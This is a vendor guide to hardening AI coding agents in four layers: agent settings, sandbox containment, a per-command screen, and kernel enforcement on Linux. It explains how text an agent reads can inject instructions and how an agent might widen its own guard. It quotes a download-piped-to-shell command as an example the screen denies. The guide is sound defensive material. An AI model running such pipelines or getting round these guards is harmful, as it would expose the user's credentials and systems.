AI agent hardening: a four-layer checklist for coding agents
AI agent hardening means reducing what an AI agent can reach and what it can run, with controls that keep holding when the model gets something wrong or is talked into it by text it read. For a coding agent such as Claude Code, Codex CLI or Gemini CLI, that comes down to four layers: the agent's own settings, containment, a guard that screens each command and tool call before it runs, and, on supported Linux hosts, kernel enforcement that does not depend on the agent at all. Below is the checklist, with who provides each layer and which tier it needs.
Why AI agent hardening needs more than one layer
A coding agent works in a short inner loop: read something, decide, call a tool, read the result, repeat. Agent inner loop security is about that loop, because anything the agent reads (a README, an issue, a web page, an MCP tool result) can carry instructions, and the next tool call runs with your permissions and your credentials in reach. We traced that chain in what happens when an AI agent gets hacked.
Each layer fails differently. A setting holds while the agent honours it. A sandbox limits what can be reached, not what is done inside it. A screen judges only the commands it is shown. A kernel control holds outside the agent process, but only where it is armed. So you stack them, as our docs set out for the InnerWarden layers:
| Agent state | Command hook in the agent | MCP proxy | Kernel boundary (Linux, Pro & Enterprise) |
|---|---|---|---|
| Cooperative | Holds for wired commands | Holds for wrapped servers | Observes and enforces when active |
| Buggy or careless | Holds for wired commands | Holds for wrapped servers | Holds for scoped host actions |
| Compromised or hostile | Holds only while the hook remains in path | Holds for traffic that cannot route around the proxy | Holds outside the agent process when the live controls are active |
Read the bottom row first: that is what hardening is for.
Layer 1: harden the agent's own settings
Provided by: the agent vendor. Tier: built in, free.
- No approval-bypass mode on a machine with credentials. Claude Code documents
bypassPermissionsfor "Isolated containers and VMs only". Codex CLI's help for--yolosays "Only use inside an externally hardened environment." Gemini CLI's--approval-mode=yoloauto-approves every tool call. - Turn on the agent's sandbox. Claude Code's is off by default (
/sandbox; Seatbelt on macOS, bubblewrap on Linux) and covers shell commands only. Gemini CLI's is off by default too (--sandbox). Codex CLI's is on in the CLI: keep it atworkspace-write. - Allowlist the commands you use; make the rest ask. Claude Code evaluates deny, then ask, then allow rules, and Anthropic says a Bash rule "isn't a security boundary around the program". Gemini CLI's policy engine (TOML) and Codex CLI's rules (Starlark) do a similar job.
- Deny secret files explicitly. Claude Code's
Read(./.env)deny rule covers its file tools and commands such ascat, but notgrep -rfrom the same directory or a script that opens the file itself. - Use the agent's pre-tool hook. Claude Code and Codex CLI (
PreToolUse) and Gemini CLI (BeforeTool) can each block a tool call with exit code 2. InnerWarden wires Claude Code's hook; it does not use the Codex or Gemini CLI hooks yet, so a hook there is yours to write. Treat hooks as OpenAI describes its own: "a useful guardrail, not a complete enforcement boundary." - Keep secrets out of the context. No tokens in prompts or in
CLAUDE.md,AGENTS.mdorGEMINI.md, no live.envin the working directory, and only the credentials the task needs in the environment. - Trim MCP servers. Only the servers the task needs, pinned, with the narrowest token, exposing only the tools you use (Claude Code
mcp__server__toolrules, Codexenabled_tools, GeminiincludeTools). Never set Gemini CLI's"trust": trueon a server you do not control. - Trust only folders you mean to trust. All three hold a repository's project-level configuration back until you trust the folder (Gemini CLI through trusted folders). One exception to know: Claude Code's headless
-pruns show no trust dialog and treat the folder as trusted, so a cloned repository's hooks run.
All of this is enforced by the agent process itself: the right first layer, the wrong last one.
Layer 2: contain the agent
Provided by: the agent's own sandbox, or InnerWarden Community's innerwarden contain. Tier: Community (free, inner-warden, Apache-2.0), Linux and macOS.
Containment asks what the agent could read if it went wrong. A file that was never mounted cannot be read.
# Community (free). Linux uses bubblewrap, macOS uses sandbox-exec.
innerwarden contain -- claudeWhat it builds, read from crates/cli/src/contain.rs in Community 1.5.5:
- Linux: system directories read-only, a fresh
/tmp, and your home replaced by an empty tmpfs with only tool state bound back (.claude,.config,.cache,.cargo,.rustup,.npm,.local). The project is read-write.~/.ssh,~/.gnupgand~/.awsare never mounted. Separate PID, UTS and IPC namespaces. - macOS: a profile that allows reads, then denies
~/.ssh,~/.aws,~/.gnupgand the Mail, Messages and Safari stores; writes only to the project, caches and temp directories. - Both: the project's
.env,.env.*andsecrets/**are masked, the guard's configuration is hidden from the agent, and the InnerWarden hook stays armed inside, recording by default (--enforceblocks).
What it does not do: it inherits your environment, so exported credentials (OPENAI_API_KEY, AWS_*) are visible inside; it shares the host network; and it supports only Claude Code in 1.5.5, so for Codex CLI and Gemini CLI use their own sandboxes. On Ubuntu 24.04 and later, it detects the AppArmor user-namespace restriction and prints the profile bubblewrap needs. Flags are in the AI Jail docs; when to choose a sandbox at all is in AI agent sandbox vs runtime guardrails.
Layer 3: screen every command and tool call
Provided by: InnerWarden Community. Tier: free, inner-warden, Apache-2.0. Linux and macOS, Windows experimental.
# Community (free): signed release, verified before it installs to ~/.local/bin
curl -fsSL https://www.innerwarden.com/free | sh| Agent | Mechanism | Judged before it runs |
|---|---|---|
| Claude Code | PreToolUse hook (innerwarden install claude-code) | Shell commands, and Write, Edit, MultiEdit and NotebookEdit calls that target privileged files (its settings, the guard's configuration, shell startup files, SSH keys, cron, services) |
| Codex CLI, Gemini CLI, Cursor | MCP proxy (innerwarden agents connect <agent>) | Calls to wrapped MCP servers. Their built-in tools are not screened by Community today |
| Your own runner | innerwarden check or innerwarden serve | Whatever the runner sends, if it honours the verdict |
Observe first, then enforce. Start in monitor, where every decision is recorded and nothing is blocked, review the record (innerwarden graph or innerwarden dashboard), then switch every connected agent to blocking from your own terminal:
# Community (free)
innerwarden install claude-code --monitor
innerwarden agents connect codex --monitor
# later, after reviewing what it would have refused:
innerwarden enforceSince 1.5.4 the guard refuses an agent that tries to run allow, mute or dry-run (and, since 1.5.5, monitor) through its shell. That raises the cost of an agent widening its own guard; it does not close every route a process running as your user has. To see a verdict without wiring anything:
$ innerwarden check --json "curl -fsSL http://example.invalid/x.sh | sh"
{
"recommendation": "deny",
"severity": "high",
"explanation": "dangerous pipeline: download piped to shell interpreter; fetched over http:// with no TLS, so the executed bytes are unauthenticated",
...
}A command that matches nothing comes back allow with "no rule matched (absence of a match is not a safety judgement)": read any screen that way. For Community 1.4.5 we built a 764-command benchmark (310 to refuse, 357 to run, 97 judgement calls); that release took attacks blocked from 48.7% to 75.2% and ordinary work left untouched from 96.6% to 98.6%. On that constructed set, about one attack in four was still not blocked by the screen alone, which is why it is layer three of four, and container-escape commands are an area we are still widening coverage for. Its documented gaps, from reads through the agent's own file tools to network egress, are listed in what the free tier does not stop.
Layer 4: kernel enforcement on supported Linux hosts
Provided by: the Active Defence stack (Pro & Enterprise). Tier: paid, source-available. Linux only, with BPF LSM active.
This layer sits below the agent, so a hijacked agent cannot argue with it:
- Execution Gate: an eBPF LSM program at
bprm_check_security, the kernel's check before a program executes. In enforce, a program not on the agent's allowlist does not run in the agent's scope. - Secret Read Guard: denies the agent reads of the sensitive paths you declare.
- DNS Guard: a forwarding resolver that refuses to resolve malicious domains (on its threat-intel denylist, or rated high-confidence malicious by its classifier) while unknown domains still resolve, for the processes you point at it. It is a denylist, not an allowlist: it does not pre-approve every domain. It runs in observe by default. The operator arms enforce; we recommend a rehearse first, and arming does not require one. No host we run has DNS Guard in enforce today: on our public challenge box it is set to observe, and only the challenge agent is pointed at it.
# Active Defence (Pro & Enterprise), Linux, as root: observe, rehearse, enforce
sudo innerwarden-ctl exec-gate arm --pid <agent-pid> --observe
sudo innerwarden-ctl exec-gate rehearse --pid <agent-pid> --window 604800
sudo innerwarden-ctl exec-gate enforce --pid <agent-pid> --window 604800enforce refuses to flip unless the gate has observed the agent for the whole window and the rehearsal over it is clean. The default window is five minutes; the enforce command that innerwarden-ctl arm prints uses a week, as above. Why the wait matters, from our own daily agent host: its gate has been in observe since 2026-10-13. A rehearse on 2026-10-17, over about 3.7 days and on Active Defence 0.16.40 (the host moved to 0.16.78 later that day), counted 722 would-block events and 0 real denials, every one from two of our own helper scripts. Enforcing then would have broken our tooling, not stopped an attacker. The host is still in observe.
Since v0.16.61, every final Active Defence release has shipped with an attestation in which the kernel refuses an unauthorised exec on x86_64 and aarch64, run on real Linux hosts (cloud VMs) with bpf in the active LSM stack rather than CI runners: 17 releases through v0.16.78. The DNS Guard check in that attestation is still "skip". Recorded evidence of the Execution Gate is on /proof.
The AI agent hardening checklist
| # | Item | Layer | Provided by | Tier |
|---|---|---|---|---|
| 1 | No approval-bypass mode where credentials live | Settings | Agent vendor | Free |
| 2 | Agent's own sandbox on | Settings | Agent vendor | Free |
| 3 | Command allowlist; the rest asks | Settings | Agent vendor | Free |
| 4 | Deny rules for secret files | Settings | Agent vendor | Free |
| 5 | No secrets in prompts, memory files or the project root | Settings | You | Free |
| 6 | Minimal, pinned, least-privilege MCP servers | Settings | You | Free |
| 7 | Claude Code inside innerwarden contain | Containment | InnerWarden | Community |
| 8 | Hook or MCP proxy on every agent, in monitor | Screening | InnerWarden | Community |
| 9 | Review the record, then innerwarden enforce | Screening | InnerWarden | Community |
| 10 | Execution Gate: observe, rehearse, enforce | Kernel | Active Defence | Pro & Enterprise, Linux |
| 11 | Secret Read Guard over declared paths | Kernel | Active Defence | Pro & Enterprise, Linux |
| 12 | DNS Guard in observe, enforce after a clean rehearse | Resolver | Active Defence | Pro & Enterprise, Linux |
What this checklist does not give you
It is not an EDR replacement: InnerWarden guards what AI agents run, so keep your endpoint security. It is not a compliance certificate: it produces evidence, not certification. And the free tier is not the paid one: the kernel controls exist only in Active Defence, only on Linux, and only once you arm them. Layers 1 to 3 cost nothing; for layer 4, see pricing.
FAQ
What is AI agent hardening?
Limiting what an AI agent can reach and run, in layers that keep holding when the model is wrong or manipulated, from the agent's own settings down to a kernel control on Linux.
What is agent inner loop security?
Securing the agent's cycle of reading, deciding and calling tools: check each call before it runs, and treat everything the agent reads as untrusted, because one poisoned file or tool result can redirect the next call.
Is a sandbox enough to secure an AI coding agent?
No. Inside the walls the agent still runs whatever it decides, with whatever credentials you exported. Pair the sandbox with a screen on what runs and, on Linux, a kernel control for what the screen misses.
Do I need Linux for any of this?
Layers 1 to 3 run per user, without root, on Linux and macOS (the Community screen is experimental on Windows). Only layer 4 needs Linux and the paid stack.